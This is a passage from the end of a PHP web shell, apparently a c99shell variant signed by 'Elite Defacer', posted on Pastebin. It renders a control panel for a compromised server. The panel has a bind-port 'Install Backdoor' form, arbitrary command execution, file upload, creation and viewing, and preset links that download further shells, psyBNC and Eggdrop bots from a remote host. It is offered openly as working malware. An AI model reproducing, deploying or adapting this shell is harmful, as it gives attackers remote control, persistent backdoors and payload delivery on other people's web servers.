  3208. Bind Port: <input type='text' name='backconnectport' value='5992'>
  3209. <input type='hidden' name='use' value='shbd'>
  3210. <input type='submit' value='Install Backdoor'></form>");
  3211. echo("$msg");
  3212. echo("$emsg");
  3213. echo("</center>");
  3214. }
  3215. echo "</td></tr></table>\n";
  3216. //COMMANDS PANEL
  3217. ?>
  3218. <div class=barheader2><b>.: COMMANDS PANEL :.</b></div>
  3219. <table class=mainpanel>
  3220. <?php
  3221. if (!$safemode) {
  3222. ?>
  3223. <tr><td align=right>Command:</td>
  3224. <td><form method="POST">
  3225. <input type=hidden name=act value="cmd">
  3226. <input type=hidden name="d" value="<?php echo $dispd; ?>">
  3227. <input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">
  3228. <input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute">
  3229. </form>
  3230. </td></tr>
  3231. <tr><td align=right>Quick Commands:</td>
  3232. <td><form method="POST">
  3233. <input type=hidden name=act value="cmd">
  3234. <input type=hidden name="d" value="<?php echo $dispd; ?>">
  3235. <input type=hidden name="cmd_txt" value="1">
  3236. <select name="cmd">
  3237. <?php
  3238. foreach ($cmdaliases as $als) {
  3239. echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  3240. }
  3241. foreach ($cmdaliases2 as $als) {
  3242. echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  3243. }
  3244. ?>
  3245. </select> -
  3246. <input type=submit name=submit value="Execute">
  3247. </form>
  3248. </td></tr>
  3249. <?php
  3250. }
  3251. ?>
  3252. <tr><td align=right>Kernel Info:</td>
  3253. <td><form method="post" action="http://google.com/search">
  3254. <input type="hidden" name="client" value="firefox-a">
  3255. <input type="hidden" name="rls" value="org.mozilla:en-US:official">
  3256. <input type="hidden" name="hl" value="en">
  3257. <input type="hidden" name="hs" value="b7p">
  3258. <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname()); ?>"> -
  3259. <input type=submit name="btnG" VALUE="Search">
  3260. </form>
  3261. </td></tr>
  3262. <tr><td align=right>Upload:</td>
  3263. <td><form method="POST" enctype="multipart/form-data">
  3264. <input type=hidden name=act value="upload">
  3265. <input type=hidden name="miniform" value="1">
  3266. <input type="file" name="uploadfile"> - <input type=submit name=submit value="Upload"> <?php echo $wdt; ?>
  3267. </form>
  3268. </td></tr>
  3269. <script language="javascript">
  3270. function set_arg(txt1,txt2) {
  3271. document.forms.fphpfsys.arg1.value = txt1;
  3272. document.forms.fphpfsys.arg2.value = txt2;
  3273. }
  3274. </script>
  3275. <tr><td align=right>PHP Filesystem:</td>
  3276. <td><form name="fphpfsys" method="POST"><input type=hidden name=act value="phpfsys"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  3277. <select name="phpfsysfunc">
  3278. <?php
  3279. foreach ($phpfsaliases as $als) {
  3280. if ($als[1]==$phpfsysfunc) { echo "<option selected value=\"".$als[1]."\">".$als[0]."</option>"; }
  3281. else { echo "<option value=\"".$als[1]."\">".$als[0]."</option>"; }
  3282. }
  3283. ?>
  3284. </select>
  3285. File/Dir/URL: <input type="text" name="arg1" id="a1" size="40" value="<?php echo htmlspecialchars($arg1); ?>">
  3286. To/Max: <input type="text" name="arg2" size="50" value="<?php echo htmlspecialchars($arg2); ?>">
  3287. <input type=submit name=submit value="Execute"><hr noshade size=1>
  3288. <a href="#" onclick="set_arg('<?php echo $sh_mainurl."cyberz.txt"; ?>','cyberz.php')">[Fx29Sh]</a>
  3289. <a href="#" onclick="set_arg('<?php echo $sh_mainurl."fx.tar.gz"; ?>','fx.tar.gz')">[psyBNC]</a>
  3290. <a href="#" onclick="set_arg('<?php echo $sh_mainurl."fxb.tar.gz"; ?>','fxb.tar.gz')">[Eggdrop]</a>
  3291. </form>
  3292. </td></tr>
  3293. <tr><td align=right>Search:</td>
  3294. <td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  3295. <input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;
  3296. <input type=submit name=submit value="Search">
  3297. </form>
  3298. </td></tr>
  3299. <tr><td align=right>Make File:</td>
  3300. <td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
  3301. <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="Create"> <?php echo $wdt; ?>
  3302. </form></td></tr>
  3303. <tr><td align=right>View File:</td>
  3304. <td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  3305. <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="View">
  3306. </form></td></tr>
  3307. </table>
  3308. <div class=barheader2 colspan=2><font color=yellow>.:[Coded Elite Defacer . elitedefacer@hotmail.com | Generated: <?php echo round(getmicrotime()-starttime,4); ?> seconds ]:.</font></div>
  3309. </body></html>
  3310. <?php chdir($lastdir); c99shexit(); ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!